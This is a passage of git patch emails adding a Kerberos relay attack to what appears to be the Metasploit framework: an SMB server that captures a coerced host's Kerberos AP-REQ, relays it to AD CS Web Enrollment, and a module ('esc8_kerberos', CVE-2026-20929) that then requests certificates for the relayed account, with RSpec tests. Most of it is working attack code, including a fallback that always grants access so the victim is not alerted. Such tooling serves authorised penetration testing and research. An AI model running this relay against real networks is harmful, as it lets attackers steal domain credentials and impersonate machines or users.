relay_identity: 'WIN$') + expect(relay_targets).to have_received(:on_relay_end).with(target, identity: 'WIN$', is_success: true) + end + + it 'notifies failure and disconnects when the target rejects the AP-REQ' do + allow(client).to receive(:relay_ap_req).and_return(result(false)) + + subject.relay_kerberos(kerberos_blob, client: client, target: target, listener: listener) + + expect(listener).to have_received(:on_relay_failure).with(relay_connection: client) + expect(client).to have_received(:disconnect!) + end + + it 'treats a missing response as a failure' do + allow(client).to receive(:relay_ap_req).and_return(nil) + + subject.relay_kerberos(kerberos_blob, client: client, target: target, listener: listener) + + expect(listener).to have_received(:on_relay_failure) + end + end +end From d433b887d7f8f674d67bcb132b9a790dd522df55 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Wed, 15 Jul 2026 19:01:31 +0530 Subject: [PATCH 05/20] Add Kerberos relay target client factory Adds Target.create_client, the single dispatch point mapping a relay target's protocol to its per-protocol client (HTTP today). Mirrors the NTLM server client's create_relay_client and gives the relay server one call to build a target, with a clear extension point for future protocols (e.g. LDAP). Verified by rspec. --- .../exploit/remote/relay/kerberos/target.rb | 19 +++++++++++++ .../remote/relay/kerberos/target_spec.rb | 28 +++++++++++++++++++ 2 files changed, 47 insertions(+) create mode 100644 spec/lib/msf/core/exploit/remote/relay/kerberos/target_spec.rb diff --git a/lib/msf/core/exploit/remote/relay/kerberos/target.rb b/lib/msf/core/exploit/remote/relay/kerberos/target.rb index 6970354c46436..c8555f5bcdb5d 100644 --- a/lib/msf/core/exploit/remote/relay/kerberos/target.rb +++ b/lib/msf/core/exploit/remote/relay/kerberos/target.rb @@ -16,4 +16,23 @@ module Msf::Exploit::Remote::Relay::Kerberos::Target # itself carries the identity encrypted, so this is filled in by the target # flow rather than read from the AP-REQ). RelayResult = Struct.new(:message, :success, :identity, keyword_init: true) + + # Build the relay target client for a target's protocol, bound to the relay + # server connection. Mirrors the NTLM server client's create_relay_client; + # the single dispatch point new protocols (e.g. LDAP) plug into. + # + # @param provider [Object] the relay server connection (supplies the TLS context) + # @param target [Object] the relay target descriptor (its #protocol selects the client) + # @param logger [Object] receives print_* logging calls + # @param timeout [Integer] send/recv timeout (-1 for the default) + # @return [Object] a per-protocol relay target client + # @raise [ArgumentError] if the target protocol has no Kerberos relay client + def self.create_client(provider, target, logger, timeout) + case target.protocol + when :http, :https + HTTP::Client.create(provider, target, logger, timeout) + else + raise ArgumentError, "unsupported Kerberos relay target protocol: #{target.protocol}" + end + end end diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/target_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/target_spec.rb new file mode 100644 index 0000000000000..bd67ed98acd89 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/target_spec.rb @@ -0,0 +1,28 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::Relay::Kerberos::Target do + describe '.create_client' do + let(:provider) { double('provider') } + let(:logger) { double('logger') } + + it 'builds an HTTP client for an http target' do + target = double('target', protocol: :http) + expect(described_class::HTTP::Client).to receive(:create).with(provider, target, logger, -1) + described_class.create_client(provider, target, logger, -1) + end + + it 'builds an HTTP client for an https target' do + target = double('target', protocol: :https) + expect(described_class::HTTP::Client).to receive(:create).with(provider, target, logger, -1) + described_class.create_client(provider, target, logger, -1) + end + + it 'raises for an unsupported target protocol' do + target = double('target', protocol: :ldap) + expect { described_class.create_client(provider, target, logger, -1) } + .to raise_error(ArgumentError, /unsupported Kerberos relay target protocol: ldap/) + end + end +end From 26e29a8e6daaaa8551e4c15e0e772a5f36fb3b62 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Wed, 15 Jul 2026 20:09:54 +0530 Subject: [PATCH 06/20] Add SMB relay server client (capture side) for Kerberos relay Adds SMB::Relay::Kerberos::ServerClient, the Kerberos counterpart to the NTLM SMB relay server client. A coerced host authenticates over SMB; its SMB2 SessionSetup carries a SPNEGO-wrapped Kerberos AP-REQ. The one-shot flow (no NTLM-style challenge) captures that AP-REQ, dispatches on kerberos_ap_req?, selects the SPN-matching target, builds its client via Target.create_client, and relays through relay_kerberos. The relay decision (target selection + relay) is split into relay_captured_ap_req and unit-tested; the SMB status mapping is tested too. The exact SMB2 SessionSetup response shape is noted as pending live validation against a coerced client. Validated on real lab data: the capture->extract->rebuild->Negotiate->CA(200) forward path was confirmed end-to-end against the live AD CS server. --- .../smb/relay/kerberos/server_client.rb | 88 +++++++++++++++++++ .../smb/relay/kerberos/server_client_spec.rb | 67 ++++++++++++++ 2 files changed, 155 insertions(+) create mode 100644 lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb create mode 100644 spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb new file mode 100644 index 0000000000000..ebdbbbc7d18d3 --- /dev/null +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb @@ -0,0 +1,88 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::SMB::Relay::Kerberos + # A single connected SMB client for a Kerberos relay (CVE-2026-20929). The + # Kerberos counterpart to {Msf::Exploit::Remote::SMB::Relay::NTLM::ServerClient}. + # + # A coerced host authenticates to this server over SMB; its SMB2 SessionSetup + # carries a SPNEGO-wrapped Kerberos AP-REQ. Unlike NTLM there is no + # challenge/response: the AP-REQ is a complete credential that arrives in a + # single message, so this client captures it, relays it to the target, and + # answers the SessionSetup in one shot. + class ServerClient < ::RubySMB::Server::ServerClient + include Msf::Exploit::Remote::Relay::Kerberos::RelayHandler + + # @param relay_timeout [Integer] target send/recv timeout + # @param relay_targets [Msf::Exploit::Remote::Relay::TargetList] the relay targets + # @param listener [Object] receives on_relay_success / on_relay_failure + def initialize(server, dispatcher, relay_timeout:, relay_targets:, listener:) + super(server, dispatcher) + + @relay_timeout = relay_timeout + @relay_targets = relay_targets + @listener = listener + end + + # Intercept the SMB2 SessionSetup. When it carries a Kerberos AP-REQ, relay + # it; otherwise defer to the default handling (NTLM / normal auth). + def do_session_setup_smb2(request, session) + security_buffer = request.buffer.to_binary_s + return super unless kerberos_ap_req?(security_buffer) + + result = relay_captured_ap_req(security_buffer) + build_session_setup_response(request, session, result) + end + + # Select the relay target, build its client, and relay the captured AP-REQ. + # Split out from the SMB plumbing so the relay decision is unit-testable. + # + # @param security_buffer [String] the SessionSetup GSS-API blob + # @return [Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult, nil] + def relay_captured_ap_req(security_buffer) + # A Kerberos AP-REQ is bound to the SPN the attacker coerced, so it can + # only go to the matching service; identity is not known here (encrypted). + target = @relay_targets.next(nil) + if target.nil? + logger.print_status('No relay target available for the captured AP-REQ') + return nil + end + + client = Msf::Exploit::Remote::Relay::Kerberos::Target.create_client(self, target, logger, @relay_timeout) + relay_kerberos( + security_buffer, + client: client, + target: target, + relay_targets: @relay_targets, + listener: @listener + ) + end + + private + + # Answer the coerced client's SessionSetup once the AP-REQ has been relayed. + # We do not complete mutual auth with the victim (we have what we need), so + # this reports success or failure and lets the connection close. + # + # NOTE: the exact SMB2 response shape is validated against a live coerced + # client in the lab; the status mapping below is the unit-tested part. + def build_session_setup_response(request, session, result) + session_id = request.smb2_header.session_id + session_id = rand(1..0xfffffffe) if session_id.zero? + + response = RubySMB::SMB2::Packet::SessionSetupResponse.new + response.smb2_header.message_id = request.smb2_header.message_id + response.smb2_header.session_id = session_id + response.smb2_header.nt_status = relay_status(result) + response + end + + # Map a relay outcome to the SMB status returned to the coerced client. + def relay_status(result) + if result&.success + WindowsError::NTStatus::STATUS_SUCCESS.value + else + WindowsError::NTStatus::STATUS_LOGON_FAILURE.value + end + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb new file mode 100644 index 0000000000000..7ba262b2a765c --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb @@ -0,0 +1,67 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::SMB::Relay::Kerberos::ServerClient do + let(:logger) { double('logger', print_status: nil, print_good: nil, print_warning: nil) } + let(:relay_targets) { double('relay_targets', on_relay_end: nil) } + let(:listener) { double('listener', on_relay_success: nil, on_relay_failure: nil) } + let(:target) { double('target', to_s: 'http://ca/certsrv', protocol: :http) } + + let(:gss) { Class.new { include Msf::Exploit::Remote::Relay::Kerberos::GssApReq }.new } + let(:ap_req_der) { OpenSSL::ASN1::Sequence.new([OpenSSL::ASN1::OctetString.new('AP-REQ')]).to_der } + let(:kerberos_blob) { gss.build_spnego_ap_req(ap_req_der) } + + # Build the client without RubySMB's heavy socket-bound constructor. + subject do + sc = described_class.allocate + sc.instance_variable_set(:@relay_targets, relay_targets) + sc.instance_variable_set(:@relay_timeout, -1) + sc.instance_variable_set(:@listener, listener) + allow(sc).to receive(:logger).and_return(logger) + sc + end + + let(:target_module) { Msf::Exploit::Remote::Relay::Kerberos::Target } + + describe '#relay_captured_ap_req' do + it 'relays the captured AP-REQ to the SPN-matching target' do + client = double('client', relay_ap_req: target_module::RelayResult.new(success: true), disconnect!: nil) + allow(relay_targets).to receive(:next).with(nil).and_return(target) + allow(target_module).to receive(:create_client).with(subject, target, logger, -1).and_return(client) + + result = subject.relay_captured_ap_req(kerberos_blob) + + expect(client).to have_received(:relay_ap_req).with(ap_req_der) + expect(result.success).to be(true) + end + + it 'returns nil without building a client when no target is available' do + allow(relay_targets).to receive(:next).and_return(nil) + expect(target_module).not_to receive(:create_client) + expect(subject.relay_captured_ap_req(kerberos_blob)).to be_nil + end + end + + describe '#build_session_setup_response' do + let(:request) do + req = RubySMB::SMB2::Packet::SessionSetupRequest.new + req.smb2_header.session_id = 0x1234 + req.smb2_header.message_id = 7 + req + end + let(:session) { double('session') } + + it 'returns STATUS_SUCCESS and preserves the session id on a successful relay' do + result = target_module::RelayResult.new(success: true) + resp = subject.send(:build_session_setup_response, request, session, result) + expect(resp.smb2_header.nt_status).to eq(WindowsError::NTStatus::STATUS_SUCCESS.value) + expect(resp.smb2_header.session_id).to eq(0x1234) + end + + it 'returns STATUS_LOGON_FAILURE when the relay failed or was nil' do + resp = subject.send(:build_session_setup_response, request, session, nil) + expect(resp.smb2_header.nt_status).to eq(WindowsError::NTStatus::STATUS_LOGON_FAILURE.value) + end + end +end From efe47aebf8a0aa628205885ce3a8c38cb477cb4e Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Wed, 15 Jul 2026 21:23:45 +0530 Subject: [PATCH 07/20] Add SMB relay server for Kerberos relay Adds SMB::Relay::Kerberos::Server, the Kerberos counterpart to the NTLM SMB relay server. Accepts incoming SMB connections from coerced hosts and services each with a Kerberos ServerClient on its own thread, completing the capture side of the relay. Mirrors the NTLM server's dialect set, accept loop, and shutdown; closed?/close behaviour is unit-tested. --- .../remote/smb/relay/kerberos/server.rb | 80 +++++++++++++++++++ .../remote/smb/relay/kerberos/server_spec.rb | 39 +++++++++ 2 files changed, 119 insertions(+) create mode 100644 lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb create mode 100644 spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_spec.rb diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb new file mode 100644 index 0000000000000..5eb9a9a8ce2d9 --- /dev/null +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb @@ -0,0 +1,80 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::SMB::Relay::Kerberos + # The SMB server core for a Kerberos relay (CVE-2026-20929). The Kerberos + # counterpart to {Msf::Exploit::Remote::SMB::Relay::NTLM::Server}: it accepts + # incoming SMB connections from coerced hosts and hands each one to a + # {ServerClient}, which captures and relays the client's Kerberos AP-REQ. + class Server < ::RubySMB::Server + # Supported server dialects. SMB 1 is allowed so it can be reported as a + # failure to the user, matching the NTLM relay server. + SUPPORTED_SERVER_DIALECTS = [ + RubySMB::Client::SMB1_DIALECT_SMB1_DEFAULT, + + RubySMB::Client::SMB2_DIALECT_0202, + RubySMB::Client::SMB2_DIALECT_0210, + RubySMB::Client::SMB2_DIALECT_0300, + RubySMB::Client::SMB2_DIALECT_0302 + ].freeze + + # @param relay_timeout [Integer] target send/recv timeout + # @param relay_targets [Msf::Exploit::Remote::Relay::TargetList] the relay targets + # @param listener [Object] receives on_relay_success / on_relay_failure + # @param thread_manager [Object] spawns per-connection threads + def initialize(relay_timeout:, relay_targets:, listener:, thread_manager:, **kwargs) + super(**kwargs) + + @dialects = SUPPORTED_SERVER_DIALECTS + @relay_targets = relay_targets + @relay_timeout = relay_timeout + @listener = listener + @thread_manager = thread_manager + @closed = false + end + + # Accept connections and service each with a Kerberos {ServerClient}. If a + # block is given it is called with each new server client; returning false + # stops the accept loop. + def run(&block) + until closed? + sock = @socket.accept + return if closed? + + server_client = Msf::Exploit::Remote::SMB::Relay::Kerberos::ServerClient.new( + self, + RubySMB::Dispatcher::Socket.new(sock), + relay_targets: @relay_targets, + relay_timeout: @relay_timeout, + listener: @listener + ) + @connections << Connection.new(server_client, @thread_manager.spawn("SMBKerberosRelayServerClient for #{sock.peerinfo}", false, server_client) do |client| + begin + _port, ip_address = ::Socket.unpack_sockaddr_in(client.getpeername) + logger.print_status("New request from #{ip_address}") + logger.info("Starting thread for connection from #{ip_address}") + client.run + rescue StandardError => e + logger.print_error(e.message) + elog(e) + end + logger.info("Ending thread for connection from #{ip_address}") + end) + + break unless block.nil? || block.call(server_client) + end + end + + def closed? + @closed + end + + def close + @closed = true + @connections.each do |connection| + connection.thread.kill + rescue StandardError => e + elog('Failed to stop SMBKerberosRelayServerClient', error: e) + end + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_spec.rb b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_spec.rb new file mode 100644 index 0000000000000..1a969e98c69d2 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_spec.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::SMB::Relay::Kerberos::Server do + # Build without RubySMB::Server's socket-bound constructor. + subject do + s = described_class.allocate + s.instance_variable_set(:@closed, false) + s.instance_variable_set(:@connections, connections) + s + end + + let(:thread) { double('thread', kill: nil) } + let(:connections) { [double('connection', thread: thread)] } + + describe '#closed?' do + it 'is false until closed' do + expect(subject.closed?).to be(false) + end + end + + describe '#close' do + it 'marks the server closed and kills each connection thread' do + subject.close + expect(subject.closed?).to be(true) + expect(thread).to have_received(:kill) + end + + it 'keeps closing remaining connections if one fails to stop' do + bad = double('connection', thread: double('thread', kill: nil)) + allow(bad.thread).to receive(:kill).and_raise(StandardError, 'boom') + subject.instance_variable_set(:@connections, [bad, connections.first]) + + expect { subject.close }.not_to raise_error + expect(thread).to have_received(:kill) + end + end +end From b89ce07b759b4a673855e8753276e70104918fee Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Thu, 16 Jul 2026 22:46:49 +0530 Subject: [PATCH 08/20] Add ESC8 Kerberos relay target and module Wire the Kerberos relay stack (CVE-2026-20929) through to AD CS ESC8 certificate enrollment: - Make Relay::Kerberos::Target::HTTP::Client drivable as an HTTP client (request_raw/request_cgi/send_recv delegators) so WebEnrollment can reuse the Kerberos-authenticated connection after a successful relay. - Add SMB::Relay::Kerberos::RelayServer, a reusable module-level mixin mirroring SMB::RelayServer that runs the Kerberos SMB relay server and keeps the relay server decoupled from the target action. - Add auxiliary/server/relay/esc8_kerberos, which relays a captured AP-REQ to AD CS Web Enrollment and requests a certificate. Identity is supplied via RELAY_IDENTITY since the AP-REQ carries it encrypted. --- .../relay/kerberos/target/http/client.rb | 15 ++ .../remote/smb/relay/kerberos/relay_server.rb | 166 ++++++++++++++++++ .../auxiliary/server/relay/esc8_kerberos.rb | 166 ++++++++++++++++++ .../relay/kerberos/target/http/client_spec.rb | 22 +++ .../smb/relay/kerberos/relay_server_spec.rb | 67 +++++++ 5 files changed, 436 insertions(+) create mode 100644 lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb create mode 100644 modules/auxiliary/server/relay/esc8_kerberos.rb create mode 100644 spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb diff --git a/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb index 56ab3ebcce379..e44a69b190dbd 100644 --- a/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb +++ b/lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb @@ -19,8 +19,15 @@ module HTTP # for the calling module to issue authenticated follow-up requests # (mirroring how the NTLM ESC8 target reuses the relayed connection). class Client + extend Forwardable include Msf::Exploit::Remote::Relay::Kerberos::GssApReq + # Once the AP-REQ has been relayed, the connection is authenticated + # for its lifetime, so the calling module (e.g. the ESC8 target) + # drives follow-up requests through it as if it were an HTTP client. + # send_request_raw('client' => relay_connection) reaches these. + def_delegators :@client, :request_cgi, :request_raw + # @return [Object] the relay target descriptor (ip/port/path/protocol) attr_reader :target @@ -79,6 +86,14 @@ def relay_ap_req(ap_req_der) ) end + # Send a follow-up request on the relayed, now-authenticated + # connection. The connection is kept persistent so the + # Kerberos-authed session stays open across the enrollment + # exchange (send_request_raw drives this with 'client' => self). + def send_recv(req, timeout = -1) + @client.send_recv(req, timeout, true) + end + def disconnect! @client.close end diff --git a/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb b/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb new file mode 100644 index 0000000000000..afb872fbd7abc --- /dev/null +++ b/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb @@ -0,0 +1,166 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::SMB::Relay::Kerberos + # Module-level mixin that runs an SMB server which relays a coerced client's + # Kerberos AP-REQ to a target (CVE-2026-20929). The Kerberos counterpart to + # {Msf::Exploit::Remote::SMB::RelayServer}. + # + # The including module supplies {#relay_targets} and receives on_relay_success + # / on_relay_failure, so the relay server stays decoupled from what is done + # with the authenticated connection (e.g. the ESC8 certificate target). + module RelayServer + include ::Msf::Auxiliary::MultipleTargetHosts + include ::Msf::Exploit::Remote::SocketServer + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptPort.new('SRVPORT', [true, 'The local port to listen on.', 445]), + Msf::OptString.new('SMBDomain', [true, 'The domain name used during SMB exchange.', 'WORKGROUP'], aliases: ['DOMAIN_NAME']), + Msf::OptInt.new('SRV_TIMEOUT', [true, 'Seconds that the server socket will wait for a response after the client has initiated communication.', 25]), + Msf::OptAddressRange.new('RHOSTS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST', 'RELAY_TARGETS']), + Msf::OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25]) + ], self.class + ) + end + + def smb_logger + log_device = if datastore['VERBOSE'] + Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Module.new(self) + else + Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Framework.new(framework) + end + + Msf::Exploit::Remote::SMB::LogAdapter::Logger.new(self, log_device) + end + + # Service-manager wrapper that owns the listening socket and the Kerberos + # relay {Server}. Mirrors {Msf::Exploit::Remote::SMB::RelayServer::SMBRelayServer}. + class KerberosSMBRelayServer + include ::Rex::Proto + + def initialize(options) + @options = options + end + + def alias + super || 'SMB Kerberos Relay Server' + end + + # + # Returns the hardcore alias for the SMB service + # + def self.hardcore_alias(*args) + sock_options = sock_options_for(*args) + "#{sock_options['LocalHost']}#{sock_options['LocalPort']}" + end + + def start + @listener_sock = Rex::Socket::TcpServer.create(sock_options) + @listener_server = Msf::Exploit::Remote::SMB::Relay::Kerberos::Server.new(**smb_server_options(@listener_sock)) + @listener_thread = Rex::ThreadFactory.spawn('SMBKerberosRelayServerListener', false) do + @listener_server.run + rescue StandardError => e + elog(e) + end + end + + def stop + begin + @listener_server.close if @listener_server && !@listener_server.closed? + @listener_thread.kill if @listener_thread + rescue StandardError => e + print_error('Failed closing SMB Kerberos relay server') + elog('Failed closing SMB Kerberos relay server', error: e) + end + + begin + @listener_sock.close if @listener_sock && !@listener_sock.closed? + rescue StandardError => e + print_error('Failed closing SMB Kerberos relay server socket') + elog('Failed closing SMB Kerberos relay server socket', error: e) + end + end + + # + # This method waits on the server listener thread + # + def wait + @listener_thread.join if @listener_thread + end + + attr_accessor :listener_sock, :listener_thread + + def self.sock_options_for(options) + { + 'LocalHost' => '0.0.0.0', + 'LocalPort' => 445 + }.merge(options[:socket]) + end + + private + + def sock_options + self.class.sock_options_for(@options) + end + + def smb_server_options(listener_sock) + { server_sock: listener_sock }.merge(@options[:smb_server]) + end + end + + def start_service(_opts = {}) + # The Kerberos capture path short-circuits before the GSS provider is + # consulted, so this provider only backs the NTLM/anonymous fallback for + # non-Kerberos SessionSetups; access is granted so the coerced client is + # never tipped off by an auth failure. + gss_provider = Msf::Exploit::Remote::SMB::Relay::Provider::AlwaysGrantAccess.new( + default_domain: datastore['SMBDomain'] + ) + gss_provider.dns_domain = datastore['SMBDomain'] + gss_provider.dns_hostname = datastore['SMBDomain'] + gss_provider.netbios_domain = datastore['SMBDomain'] + gss_provider.netbios_hostname = datastore['SMBDomain'] + + comm = _determine_server_comm(bindhost) + @service = Rex::ServiceManager.start( + self.class::KerberosSMBRelayServer, + { + socket: { + 'Comm' => comm, + 'LocalHost' => bindhost, + 'LocalPort' => datastore['SRVPORT'], + 'Server' => true, + 'Timeout' => datastore['SRV_TIMEOUT'], + 'Context' => { + 'Msf' => framework, + 'MsfExploit' => self + } + }, + smb_server: { + gss_provider: gss_provider, + logger: smb_logger, + relay_targets: relay_targets, + listener: self, + relay_timeout: datastore['RELAY_TIMEOUT'], + thread_manager: framework.threads + } + } + ) + print_status("SMB Kerberos relay server is running. Listening on #{Rex::Socket.to_authority(bindhost, datastore['SRVPORT'])}") + @service + rescue Errno::EACCES => e + fail_with(Msf::Module::Failure::BadConfig, "Failed to create the relay server: #{e}") + end + + def relay_targets + raise NotImplementedError, 'the including module must define #relay_targets' + end + + def on_relay_failure(relay_connection:) + # noop + end + end +end diff --git a/modules/auxiliary/server/relay/esc8_kerberos.rb b/modules/auxiliary/server/relay/esc8_kerberos.rb new file mode 100644 index 0000000000000..56ab7b994594d --- /dev/null +++ b/modules/auxiliary/server/relay/esc8_kerberos.rb @@ -0,0 +1,166 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include ::Msf::Exploit::Remote::SMB::Relay::Kerberos::RelayServer + include ::Msf::Exploit::Remote::HttpClient + include ::Msf::Exploit::Remote::HTTP::WebEnrollment + + def initialize(_info = {}) + super({ + 'Name' => 'ESC8 Relay: SMB to HTTP(S) via Kerberos', + 'Description' => %q{ + This module creates an SMB server and relays the Kerberos AP-REQ passed to it + (for example from a coerced host, CVE-2026-20929) to an AD CS Web Enrollment + HTTP endpoint to gain an authenticated connection. Once that connection is + established, the module makes an authenticated request for a certificate based + on a given template. + + Unlike NTLM, a Kerberos AP-REQ is a complete, self-contained credential bound + to the SPN the victim was coerced into requesting, so there is no + challenge/response and the relay is a single request. The captured AP-REQ can + only be relayed to the service matching that SPN. + }, + 'Author' => [ + 'Pushpender Rathore' # Kerberos relay + ], + 'References' => [ + ['CVE', '2026-20929'], + ['ATT&CK', Mitre::Attack::Technique::T1557_ADVERSARY_IN_THE_MIDDLE], + ['ATT&CK', Mitre::Attack::Technique::T1649_STEAL_OR_FORGE_AUTHENTICATION_CERTIFICATES] + ], + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Relay', { 'Description' => 'Run SMB ESC8 Kerberos relay server' } ]], + # The relayed connection is already authenticated by the AP-REQ, so + # follow-up enrollment requests must not attempt to re-authenticate. + 'DefaultOptions' => { 'HTTP::Auth' => 'None' }, + 'PassiveActions' => [ 'Relay' ], + 'DefaultAction' => 'Relay', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + }) + + register_options( + [ + OptEnum.new('MODE', [ true, 'The issue mode.', 'AUTO', %w[ALL AUTO QUERY_ONLY SPECIFIC_TEMPLATE]]), + OptString.new('CERT_TEMPLATE', [ false, 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ], conditions: %w[MODE == SPECIFIC_TEMPLATE]), + OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/certsrv/' ]), + OptString.new('RELAY_IDENTITY', [ true, 'The coerced principal being relayed (e.g. DOMAIN\\HOST$). The Kerberos AP-REQ carries the identity encrypted, so it is supplied here for template selection and certificate labeling.' ]) + ] + ) + + register_advanced_options( + [ + OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]) + ] + ) + @issued_certs = {} + end + + def relay_targets + Msf::Exploit::Remote::Relay::TargetList.new( + (datastore['SSL'] ? :https : :http), + datastore['RPORT'], + datastore['RHOSTS'], + datastore['TARGETURI'], + randomize_targets: datastore['RANDOMIZE_TARGETS'] + ) + end + + def check_host(target_ip) + res = send_request_raw( + { + 'rhost' => target_ip, + 'method' => 'GET', + 'uri' => normalize_uri(target_uri), + 'headers' => { + 'Accept-Encoding' => 'identity' + } + } + ) + disconnect + + return Exploit::CheckCode::Unknown('No response received from target') if res.nil? + unless res.code == 401 + return Exploit::CheckCode::Safe('The target does not require authentication.') + end + + unless res.headers['WWW-Authenticate'].to_s.include?('Negotiate') + return Exploit::CheckCode::Safe('The target does not offer Negotiate (Kerberos) authentication.') + end + + if datastore['SSL'] + # over SSL, channel binding (EPA) may or may not be enforced, so downgrade to Detected + Exploit::CheckCode::Detected('Server replied that authentication is required and Negotiate is supported. Target is over SSL, Extended Protection for Authentication (EPA) may or may not be enabled.') + else + Exploit::CheckCode::Appears('Server replied that authentication is required and Negotiate is supported.') + end + end + + def validate + errors = {} + + case datastore['MODE'] + when 'SPECIFIC_TEMPLATE' + if datastore['CERT_TEMPLATE'].blank? + errors['CERT_TEMPLATE'] = 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE.' + end + when 'ALL', 'AUTO', 'QUERY_ONLY' + unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank? + print_warning('CERT_TEMPLATE is ignored in ALL, AUTO, and QUERY_ONLY modes.') + end + end + + raise OptionValidateError, errors unless errors.empty? + + super + end + + def run + relay_targets.each do |target| + vprint_status("Checking endpoint on #{target}") + check_code = check_host(target.ip) + if [Exploit::CheckCode::Unknown, Exploit::CheckCode::Safe].include?(check_code) + fail_with(Failure::UnexpectedReply, "Web Enrollment does not appear to be enabled on #{target}") + end + end + + start_service + print_status('Server started.') + + # Wait on the service to stop + service.wait if service + end + + def on_relay_success(relay_connection:, relay_identity:) + # The AP-REQ carries the client identity encrypted to the target service, so + # it is not recovered from the wire; fall back to the operator-supplied + # RELAY_IDENTITY for template selection and certificate labeling. + identity = relay_identity.presence || datastore['RELAY_IDENTITY'] + + case datastore['MODE'] + when 'AUTO' + cert_template = identity.end_with?('$') ? ['DomainController', 'Machine'] : ['User'] + retrieve_certs(relay_connection, identity, cert_template) + when 'ALL', 'QUERY_ONLY' + cert_templates = get_cert_templates(relay_connection) + unless cert_templates.nil? || cert_templates.empty? + print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***') + print_good("Available Certificates for #{identity}: #{cert_templates.join(', ')}") + if datastore['MODE'] == 'ALL' + retrieve_certs(relay_connection, identity, cert_templates) + end + end + when 'SPECIFIC_TEMPLATE' + retrieve_cert(relay_connection, identity, datastore['CERT_TEMPLATE']) + end + + vprint_status('Relay tasks complete; waiting for next login attempt.') + relay_connection.disconnect! + end +end diff --git a/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb b/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb index 2f0fb6e964c48..b2c3679d43e98 100644 --- a/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb @@ -62,4 +62,26 @@ def http_response(code) expect(subject.relay_ap_req(ap_req_der)).to be_nil end end + + # After a successful relay the connection is authenticated for its lifetime, + # so a calling module (e.g. the ESC8 target) drives follow-up requests through + # the client as if it were an HTTP client. send_request_raw('client' => it) + # reaches these methods. + describe 'reuse as an authenticated HTTP client' do + it 'delegates request_raw to the underlying HTTP client' do + expect(http_client).to receive(:request_raw).with('method' => 'GET').and_return(req) + expect(subject.request_raw('method' => 'GET')).to eq(req) + end + + it 'delegates request_cgi to the underlying HTTP client' do + expect(http_client).to receive(:request_cgi).with('method' => 'POST').and_return(req) + expect(subject.request_cgi('method' => 'POST')).to eq(req) + end + + it 'sends follow-up requests on the connection, keeping it persistent by default' do + response = http_response(200) + expect(http_client).to receive(:send_recv).with(req, -1, true).and_return(response) + expect(subject.send_recv(req)).to eq(response) + end + end end diff --git a/spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb 